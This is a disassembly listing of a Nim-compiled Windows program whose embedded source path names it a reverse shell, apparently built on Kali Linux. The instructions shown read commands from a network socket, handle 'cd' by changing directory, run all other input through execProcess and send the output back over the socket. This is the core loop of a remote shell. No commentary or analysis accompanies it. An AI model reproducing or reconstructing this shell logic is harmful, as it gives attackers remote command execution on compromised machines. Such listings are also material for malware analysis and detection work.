call method.net.send_ref_net::SocketImpl___string__set_net::SocketFlag___int___clone_.constprop.0_
cmp byte [r12], 0
jne 0x1400184e5
mov rcx, qword [0x14002a0d8]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov rdx, qword [rsp + 0x70]
mov r13, rbp
mov qword [rsp + 0x100], 0x17a
mov qword [rsp + 0x108], rax
test rcx, rcx
je 0x140018a92
test byte [rcx + 7], 0x40
je 0x140019410
test rdx, rdx
je 0x140018aa1
test byte [rdx + 7], 0x40
je 0x140019400
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x140018ab5
test byte [rax + 7], 0x40
je 0x140019428
movzx ebp, byte [r12]
lea rax, str._home_kali_reverse_shell_connected.nim
mov qword [rsp + 0x100], 0x1f
mov qword [rsp + 0x108], rax
test bpl, bpl
jne 0x140018537
mov byte [r12], 0
mov rcx, qword [rsp + 0x28]
xor r9d, r9d
lea rax, str._home_kali_reverse_shell_connected.nim
lea rsi, str.close
mov rbx, qword [0x14002a0c0]
mov word [rsp + 0x200], r9w
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x100], 0x30
mov qword [rsp + 0x1f8], r14
mov qword [rsp + 0x1f0], 0
call sym.nimFrame.constprop.0
movzx edi, byte [r12]
xor r10d, r10d
mov rcx, r13
mov byte [r12], 0
mov qword [rsp + 0x1f0], 0x4f3
mov rax, qword [rbx]
mov qword [rsp + 0x218], rsi
lea rsi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_nativesockets.nim
mov qword [rsp + 0x30], rax
mov word [rsp + 0x230], r10w
mov qword [rsp + 0x228], rsi
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x220], 0xe5
call qword [0x14002a158]
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140018bd7
mov rax, qword [0x14002a320]
mov qword [rsp + 0x1f0], 0x4f4
mov qword [rbx], rax
mov byte [r12], dil
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x14001882e
mov byte [r12], bpl
test bpl, bpl
je 0x14001735a
jmp 0x14001882e
mov qword [rsp + 0x1f0], 0x656
mov rcx, rsi
call method.net.getSocketError_ref_net::SocketImpl__
cmp byte [r12], 0
mov r13d, eax
jne 0x140018c80
mov edx, eax
mov ecx, 2
mov qword [rsp + 0x1f0], 0x643
call method.net.isDisconnectionError_set_net::SocketFlag___oserrors::OSErrorCode_
cmp byte [r12], 0
jne 0x140018c80
test al, al
je 0x140018c47
mov qword [rsp + 0x150], 0
mov r9d, 2
mov r8d, r13d
mov rdx, rbx
mov rcx, rsi
mov qword [rsp + 0x1f0], 0x645
call method.net.socketError_ref_net::SocketImpl___int__bool__oserrors::OSErrorCode__set_net::SocketFlag____clone_.constprop.0_
cmp byte [r12], 0
jne 0x140018c80
mov qword [rsp + 0x1f0], 0x656
nop word [rax + rax]
mov rax, qword [r15]
mov r13, qword [rsp + 0x150]
jmp 0x140018968
mov dword [rsp + 0x30], eax
mov rcx, rbp
mov qword [rsp + 0x190], 0x815
call qword [0x14002a140]
mov eax, dword [rsp + 0x30]
movdqu xmm2, xmmword [0x140026af0]
mov ecx, eax
lea rsi, [rsp + 0xd0]
mov qword [rsp + 0x190], 0x816
mov rdx, rsi
movups xmmword [rsp + 0xd0], xmm2
call method.oserrors.raiseOSError_oserrors::OSErrorCode__string_
jmp 0x140017c27
mov rbx, qword [r15]
xor esi, esi
jmp 0x140017660
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x1f0], 0x17a
mov qword [rsp + 0x1f8], rax
mov rax, qword [r15]
jmp 0x140017baf
mov qword [rsp + 0x68], 0
mov rsi, rbx
xor ebx, ebx
jmp 0x140017ef3
mov byte [r12], 0
mov qword [rsp + 0x130], 0x10
call sym.getCurrentException
mov qword [rsp + 0x130], 0x10
mov qword [rsp + 0x1e0], 0x12
mov rsi, rax
lea rax, [0x140026b20]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0xd0]
mov rdx, rsi
mov rcx, rax
call method.repr_v2.repr_ref_exceptions::OSError__
cmp byte [r12], 0
mov rax, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xd8]
jne 0x140019cba
mov rcx, qword [rsp + 0x28]
mov edx, 2
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rdi
call sym.echoBinSafe
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x130], 0x17a
mov qword [rsp + 0x138], rax
test rdi, rdi
je 0x140018de7
test byte [rdi + 7], 0x40
je 0x140019a92
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_oserrors.nim
mov rcx, rsi
mov qword [rsp + 0x130], 0x4e
mov qword [rsp + 0x138], rax
call method.oserrors.eqdestroy__ref_exceptions::OSError__
cmp byte [r12], 0
jne 0x140018785
mov rax, qword [rbx]
mov rcx, rbx
mov rdx, qword [rax + 0x38]
call method.system.eqcopy__var_ref_system::Exception_____ref_system::Exception___bool___clone_.isra.0_
jmp 0x140018785
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
movdqu xmm6, xmmword [0x14002a0d0]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x100], 0x23
mov rcx, qword [rsp + 0x30]
movups xmmword [rsp + 0xc0], xmm6
call sym.nsuStrip.constprop.0
cmp byte [r12], 0
mov rbx, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
jne 0x140019d8b
lea rax, str.startsWith
xor ecx, ecx
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_strutils.nim
mov word [rsp + 0x230], cx
mov rcx, rbp
mov qword [rsp + 0x228], rax
call sym.nimFrame.constprop.0
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_private_strimpl.nim
mov qword [rsp + 0x220], 0x3d
mov qword [rsp + 0x228], rax
test rbx, rbx
jle 0x140019c80
cmp byte [rsi + 8], 0x63
jne 0x140019a9f
cmp rbx, 1
je 0x140019a9f
cmp byte [rsi + 9], 0x64
jne 0x140019a9f
mov qword [rsp + 0x220], 0x3c
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x14001935d
movdqu xmm4, xmmword [0x14002a0d0]
mov rdx, qword [rsp + 0x50]
lea rax, str._home_kali_reverse_shell_connected.nim
mov qword [0x14002a0a0], 0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x108], rax
mov qword [0x14002a0a8], 0
mov qword [rsp + 0x100], 0x24
movups xmmword [rsp + 0xc0], xmm4
call sym.nsuStrip.constprop.0
mov rax, qword [rsp + 0xd8]
cmp byte [r12], 0
mov r11, qword [rsp + 0xd0]
mov qword [rsp + 0x88], rax
jne 0x140019e57
lea rax, str.split
mov rcx, rbp
mov qword [rsp + 0x78], r11
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_strutils.nim
mov qword [rsp + 0x228], rax
mov rbx, rax
xor eax, eax
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], ax
call sym.nimFrame.constprop.0
mov r11, qword [rsp + 0x78]
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x78], 0
test r11, r11
js 0x14001921f
mov qword [rsp + 0x90], 0xffffffffffffffff
xor r8d, r8d
mov qword [rsp + 0xa0], rbp
mov rbp, qword [rsp + 0x88]
mov qword [rsp + 0x98], rsi
mov rsi, r11
mov rbx, r8
mov eax, 0x18a
jmp 0x140019069
test rbx, rbx
js 0x140019c96
cmp byte [rbp + rbx + 8], 0x20
je 0x140019076
add rbx, 1
mov eax, 0x18b
mov qword [rsp + 0x220], rax
cmp rsi, rbx
jg 0x140019050
cmp qword [rsp + 0x90], 0
mov rdx, qword [rsp + 0x50]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_strutils.nim
mov qword [rsp + 0x220], 0x2f7
cmove rbx, rsi
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0xc0], rsi
lea r9, [rbx - 1]
mov qword [rsp + 0xc8], rbp
call method.system.substr_string__int__int_
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
lea r10, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x220], 0x68e
mov qword [rsp + 0x228], r10
call method.system.eqsink__var_string___string_
mov rdx, qword [rsp + 0x1e0]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_strutils.nim
cmp qword [rsp + 0x80], 0
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0xa8], rdx
mov rdx, qword [rsp + 0x1e8]
mov qword [rsp + 0x220], 0x1a2
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0x1e8], 0
mov qword [rsp + 0x228], rax
je 0x140019e1e
mov r10, qword [rsp + 0x78]
add r10, 1
jo 0x140019e4d
mov rdx, qword [rsp + 0x80]
movabs rax, 0xbfffffffffffffff
and rax, qword [rdx]
cmp r10, rax
jg 0x140019f24
mov rax, r10
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x78], rax
shl rdx, 4
add rdx, rcx
mov rcx, qword [rsp + 0xa8]
mov qword [rdx + 8], rcx
mov rcx, qword [rsp + 0xb0]
mov qword [rdx + 0x10], rcx
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14001920f
mov qword [rsp + 0x220], 0x18f
sub rax, 1
mov qword [rsp + 0x90], rax
jo 0x14001a357
mov r8, rbx
xor eax, eax
mov qword [rsp + 0x220], 0x190
add r8, 1
js 0x14001a4f8
cmp r8, rbx
jb 0x14001a4f8
test rax, rax
jne 0x14001a357
cmp rsi, r8
jge 0x140019041
mov rsi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xa0]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x220], 0x17a
mov qword [rsp + 0x228], rax
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140019ee3
cmp qword [rsp + 0x78], 1
jle 0x140019934
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov rbx, qword [rsp + 0x30]
lea rcx, [0x14002a0a0]
mov qword [rsp + 0x100], 0x68e
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x80]
mov rdx, rbx
movdqu xmm6, xmmword [rax + 0x18]
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0xd0], xmm6
call sym.nimAsgnStrV2
movdqu xmm5, xmmword [0x14002a0a0]
lea rax, str._home_kali_reverse_shell_connected.nim
mov rcx, rbx
mov qword [rsp + 0x100], 0x26
mov qword [rsp + 0x108], rax
movups xmmword [rsp + 0xd0], xmm5
call method.osdirs.setCurrentDir_string_
cmp byte [r12], 0
jne 0x140019f57
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x100], 0x83a
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xd8], rax
call method.system.eqdestroy__seq_string__
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x100], 0x17a
test rax, rax
je 0x140019346
test byte [rax + 7], 0x40
je 0x140019d7e
mov rcx, qword [0x14002a0a8]
test rcx, rcx
je 0x14001935d
test byte [rcx + 7], 0x40
jne 0x14001935d
call sym.deallocShared
test byte [rsi + 7], 0x40
jne 0x1400184d1
mov rcx, rsi
call sym.deallocShared
jmp 0x1400184d1
call sym.deallocShared
jmp 0x1400184fb
mov qword [rsp + 0x1f0], 0xea
mov rax, qword [rbx - 0x10]
sub rax, 0x10
jo 0x14001a4e5
mov qword [rbx - 0x10], rax
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x1400186fc
lea rax, str.destroy
xor r10d, r10d
mov rcx, rbp
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], r10w
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x1400184e5
mov rcx, rdx
call sym.deallocShared
jmp 0x140018aa1
mov qword [rsp + 0x48], rdx
call sym.deallocShared
mov rdx, qword [rsp + 0x48]
jmp 0x140018a92
mov rcx, rax
call sym.deallocShared
jmp 0x140018ab5
lea rax, str.destroy
mov rcx, rbp
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
xor eax, eax
mov word [rsp + 0x230], ax
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rcx, qword [0x14002a0d8]
mov rax, qword [rax]
mov qword [r15], rax
test rcx, rcx
je 0x140018529
test byte [rcx + 7], 0x40
jne 0x140018529
jmp 0x140018913
lea rax, str.nimDecRefIsLast
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1e8], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system_arc.nim
mov qword [rsp + 0x1f8], rax
mov rbx, rax
xor eax, eax
mov word [rsp + 0x200], ax
call sym.nimFrame.constprop.0
mov qword [rsp + 0x1f8], rbx
mov qword [rsp + 0x1f0], 0xd6
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x1400186fc
mov qword [rsp + 0x190], 0x815
xor ecx, ecx
call qword [0x14002a140]
xor eax, eax
jmp 0x140018cad
mov rcx, rsi
call method.net.getSocketError_ref_net::SocketImpl__
cmp byte [r12], 0
mov ebx, eax
jne 0x140018c80
mov edx, eax
mov ecx, 2
mov qword [rsp + 0x1f0], 0x643
call method.net.isDisconnectionError_set_net::SocketFlag___oserrors::OSErrorCode_
cmp byte [r12], 0
jne 0x140018c80
test al, al
jne 0x1400198f5
mov r9d, 2
mov r8d, ebx
mov rdx, r13
mov rcx, rsi
mov qword [rsp + 0x1f0], 0x645
call method.net.socketError_ref_net::SocketImpl___int__bool__oserrors::OSErrorCode__set_net::SocketFlag____clone_.constprop.0_
cmp byte [r12], 0
jne 0x140018c80
mov qword [rsp + 0x1f0], 0x64f
mov rax, qword [r15]
mov r13, qword [rsp + 0x150]
jmp 0x140018968
mov qword [rsp + 0x150], 0
mov rax, qword [r15]
jmp 0x140018968
xor r13d, r13d
mov rcx, rbp
mov qword [rsp + 0x1f0], 0x652
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x228], r14
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], r13w
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x228], r14
mov qword [rsp + 0x220], 0x5ab
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140018960
lea rax, str.peekChar
xor ebx, ebx
mov rcx, rbp
mov qword [rsp + 0x1f0], 0x653
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], bx
call sym.nimFrame.constprop.0
cmp byte [rsi + 8], 0
je 0x140019906
mov qword [rsp + 0x220], 0x617
mov rax, qword [rsi + 0xfb8]
test rax, rax
je 0x140019d50
sub rax, 1
jo 0x14001893d
mov rcx, qword [rsi + 0xfb0]
mov ebx, 1
cmp rax, rcx
jl 0x140019d50
mov qword [rsp + 0x220], 0x61c
cmp rcx, 0xfa0
ja 0x140019dd7
movzx eax, byte [rsi + rcx + 9]
mov byte [rsp + 0xe8], al
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140018960
test rbx, rbx
jle 0x140018bfa
cmp byte [rsp + 0xe8], 0xa
jne 0x140019707
mov rdx, qword [rsp + 0x50]
mov rcx, rsi
mov qword [rsp + 0x1f0], 0x655
call method.net.recv_ref_net::SocketImpl___pointer__int___clone_.constprop.0_
cmp byte [r12], 0
jne 0x140018c80
mov r13, qword [rsp + 0x150]
test r13, r13
jne 0x140019757
mov rsi, qword [rsp + 0x38]
mov edx, 2
mov qword [rsp + 0x1f0], 0x63f
mov rcx, rsi
call sym.prepareAdd
movdqu xmm4, xmmword [0x140026b60]
mov rdx, qword [rsp + 0x30]
mov rcx, rsi
movups xmmword [rsp + 0xd0], xmm4
call sym.appendString.lto_priv.0.lto_priv.0
mov r13, qword [rsp + 0x150]
mov qword [rsp + 0x1f0], 0x658
mov rax, qword [r15]
jmp 0x140018968
mov r13, qword [rsp + 0x150]
test r13, r13
je 0x1400198ad
mov qword [rsp + 0x1f0], 0x65b
mov rax, qword [r15]
jmp 0x140018968
mov byte [r12], 0
lea rax, str._home_kali_reverse_shell_connected.nim
lea rsi, [0x140026ba0]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x100], 0x2e
call sym.getCurrentException
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x100], 0x2e
mov rdx, rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x1e0], 0x11
mov qword [rsp + 0x1e8], rsi
call method.repr_v2.repr_ref_exceptions::OSError__
cmp byte [r12], 0
mov rax, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xd8]
jne 0x14001994c
mov rcx, qword [rsp + 0x28]
mov edx, 2
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rdi
call sym.echoBinSafe
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
movzx esi, byte [r12]
mov qword [rsp + 0x100], 0x17a
mov byte [r12], 0
mov qword [rsp + 0x108], rax
test rdi, rdi
je 0x14001985c
test byte [rdi + 7], 0x40
je 0x140019de6
mov rcx, qword [rsp + 0x48]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_oserrors.nim
mov qword [rsp + 0x100], 0x4e
mov qword [rsp + 0x108], rax
call method.oserrors.eqdestroy__ref_exceptions::OSError__
cmp byte [r12], 0
jne 0x140018ade
mov byte [r12], sil
test sil, sil
jne 0x140018ade
mov rax, qword [rbx]
mov rcx, rbx
mov rdx, qword [rax + 0x38]
call method.system.eqcopy__var_ref_system::Exception_____ref_system::Exception___bool___clone_.isra.0_
jmp 0x1400185c2
mov rbx, qword [rsp + 0x38]
mov edx, 2
mov qword [rsp + 0x1f0], 0x63f
mov rcx, rbx
call sym.prepareAdd
movdqu xmm5, xmmword [0x140026b60]
mov rdx, qword [rsp + 0x30]
mov rcx, rbx
movups xmmword [rsp + 0xd0], xmm5
call sym.appendString.lto_priv.0.lto_priv.0
mov r13, qword [rsp + 0x150]
jmp 0x14001977c
mov qword [rsp + 0x150], 0
jmp 0x14001955a
mov rdx, qword [rsp + 0x50]
mov r9d, 2
mov qword [rsp + 0x220], 0x626
mov r8d, 1
mov rcx, qword [rsi]
call qword [0x14002a120]
movsxd rbx, eax
jmp 0x1400196bc
mov rax, qword [rsp + 0x78]
mov ecx, 1
lea rdx, [rax - 1]
call sym.raiseIndexError2
jmp 0x1400192e1
lea rax, str.destroy
xor r11d, r11d
mov rcx, r13
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], r11w
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
movzx esi, byte [r12]
mov byte [r12], 0
jmp 0x14001985c
xor ecx, ecx
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_private_ospaths2.nim
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x1f8], rax
lea rax, [0x140025b97]
mov word [rsp + 0x230], cx
mov rcx, rbp
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x1f0], 0x36a
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rcx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x220], 0xe9
call method.widestrs.dollar__ptr_uncheckedArray_widestrs::Utf16Char_____int__int___clone_.constprop.0_
mov rax, qword [r15]
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x14001a2b3
mov qword [rsp + 0xd0], rcx
mov rcx, qword [rsp + 0x48]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0xd8], rdx
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x1f0], 0x68e
call method.system.eqsink__var_string___string_
mov rax, qword [rsp + 0x1b8]
movzx edx, byte [r12]
mov rbx, qword [rsp + 0x1b0]
mov qword [rsp + 0x68], rax
jmp 0x140017ef3
mov rcx, rdi
call sym.deallocShared
jmp 0x140018de7
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x14001935d
mov rbx, qword [0x14002a0d0]
lea rdx, [0x140025fef]
mov rcx, rbp
lea rax, str._home_kali_reverse_shell_connected.nim
mov qword [rsp + 0x218], rdx
xor edx, edx
movdqu xmm6, xmmword [0x14002a0d0]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], dx
mov qword [0x14002a0b0], 0
mov qword [0x14002a0b8], 0
mov qword [rsp + 0x100], 0x2b
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
lea rdx, [rbx + 7]
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call sym.rawNewString
movdqu xmm4, xmmword [0x140026b90]
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
movdqu xmm5, xmmword [rsp + 0xd0]
movups xmmword [rsp + 0xd0], xmm4
movups xmmword [rsp + 0x1b0], xmm5
call sym.appendString.lto_priv.0.lto_priv.0
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
mov qword [rsp + 0x30], rbx
movups xmmword [rsp + 0xd0], xmm6
call sym.appendString.lto_priv.0.lto_priv.0
mov r8, qword [rsp + 0x28]
movdqu xmm5, xmmword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x1b8]
movups xmmword [rsp + 0xc0], xmm5
call sym.nospexecProcess.constprop.0
lea rdx, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x220], 0x17a
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x228], rdx
mov r8, qword [rsp + 0xd8]
test rbx, rbx
je 0x140019be8
test byte [rbx + 7], 0x40
je 0x140019dfd
mov rdx, qword [r15]
mov rdx, qword [rdx]
mov qword [r15], rdx
cmp byte [r12], 0
jne 0x14001a30d
mov qword [0x14002a0b0], rax
mov rdx, qword [rsp + 0x30]
mov qword [0x14002a0b8], r8
mov rcx, qword [0x14002a0c0]
movdqu xmm6, xmmword [0x14002a0b0]
mov qword [rsp + 0x100], 0x2c
movups xmmword [rsp + 0xd0], xmm6
call method.net.send_ref_net::SocketImpl___string__set_net::SocketFlag___int___clone_.constprop.0_
mov rcx, qword [0x14002a0b8]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x100], 0x17a
mov qword [rsp + 0x108], rax
test rcx, rcx
je 0x140019c68
test byte [rcx + 7], 0x40
je 0x140019df3
test rsi, rsi
jne 0x14001935d
jmp 0x1400184d1
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
je 0x140019ab3
jmp 0x140019c68
mov r11, rsi
mov rcx, rbx
mov rsi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xa0]
lea rdx, [r11 - 1]
call sym.raiseIndexError2
jmp 0x14001921f
lea rax, str.destroy
xor r10d, r10d
mov rcx, r13
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], r10w
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rcx, rsi
mov rax, qword [rax]
mov qword [rsp + 0x130], 0x4e
mov qword [r15], rax
movzx edi, byte [r12]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_oserrors.nim
mov byte [r12], 0
mov qword [rsp + 0x138], rax
call method.oserrors.eqdestroy__ref_exceptions::OSError__
cmp byte [r12], 0
jne 0x140018785
mov byte [r12], dil
test dil, dil
je 0x140018e15
jmp 0x140018785
mov rcx, rsi
call method.net.readIntoBuf_ref_net::SocketImpl___int32___clone_.constprop.0_
cmp byte [r12], 0
mov rbx, rax
jne 0x140018942
test rax, rax
mov eax, 1
mov rcx, qword [rsi + 0xfb0]
cmovg rbx, rax
jmp 0x140019697
mov rcx, rax
call sym.deallocShared
jmp 0x140019346
lea rax, str.destroy
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], r8w
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x1400184d1
mov edx, 0xfa0
call sym.raiseIndexError2
jmp 0x1400196bc
mov rcx, rdi
call sym.deallocShared
jmp 0x14001985c
call sym.deallocShared
jmp 0x140019c68
mov rcx, rbx
mov qword [rsp + 0x78], r8
mov qword [rsp + 0x50], rax
call sym.deallocShared
mov r8, qword [rsp + 0x78]
mov rax, qword [rsp + 0x50]
jmp 0x140019be8
mov rcx, qword [rsp + 0x78]
xor edx, edx
mov r9d, 0x10
mov r8d, 1
call sym.prepareSeqAddUninit.constprop.0
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x78]
add rax, 1
jno 0x14001917d
call sym.raiseOverflow
jmp 0x1400191ae
lea rax, str.destroy
mov rcx, rbp
lea rbx, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
xor eax, eax
mov word [rsp + 0x230], ax
mov qword [rsp + 0x228], rbx
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x108], rbx
mov qword [rsp + 0x100], 0x83a
mov qword [r15], rax
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
call method.system.eqdestroy__seq_string__
mov qword [rsp + 0x100], 0x17a
jmp 0x140019346
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xd8], rax
call method.system.eqdestroy__seq_string__
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x78], 0
jmp 0x1400192e1
mov rcx, qword [rsp + 0x78]
mov r9d, 0x10
mov r8d, 1
mov qword [rsp + 0xb8], r10
call sym.prepareSeqAddUninit.constprop.0
mov r10, qword [rsp + 0xb8]
mov qword [rsp + 0x80], rax
jmp 0x14001917a
lea rax, str.nimBorrowCurrentException
mov rdx, qword [r15]
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
xor eax, eax
mov word [rsp + 0x230], ax
test rdx, rdx
je 0x14001a37e
movzx eax, word [rdx + 0x22]
mov qword [rsp + 0x210], rdx
mov qword [r15], rbp
add eax, 1
mov word [rsp + 0x232], ax
cmp ax, 0x7d0
je 0x14001a371
mov rbx, rbp
mov rcx, qword [0x1400274d0]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x220], 0x8ec
mov qword [rsp + 0x228], rax
call sym.__emutls_get_address
mov rdx, qword [rbx]
mov r8d, 0x8a1b9e00
mov qword [rsp + 0x98], rax
mov rax, qword [rax]
mov qword [r15], rdx
mov edx, 3
mov rcx, qword [rax]
call sym.isObjDisplayCheck.lto_priv.0
test al, al
je 0x1400192e1
mov byte [r12], 0
mov qword [rsp + 0x100], 0x28
call sym.getCurrentException
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x100], 0x28
mov rdx, rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], 0
call method.repr_v2.repr_ref_exceptions::OSError__
cmp byte [r12], 0
mov rax, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xd8]
jne 0x14001a3be
mov rcx, qword [rsp + 0x30]
lea rdx, [rax + 0x1b]
mov qword [rsp + 0x50], rax
call sym.rawNewString
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
movdqu xmm5, xmmword [rsp + 0xd0]
movdqu xmm4, xmmword [0x140026bd0]
movups xmmword [rsp + 0x1e0], xmm5
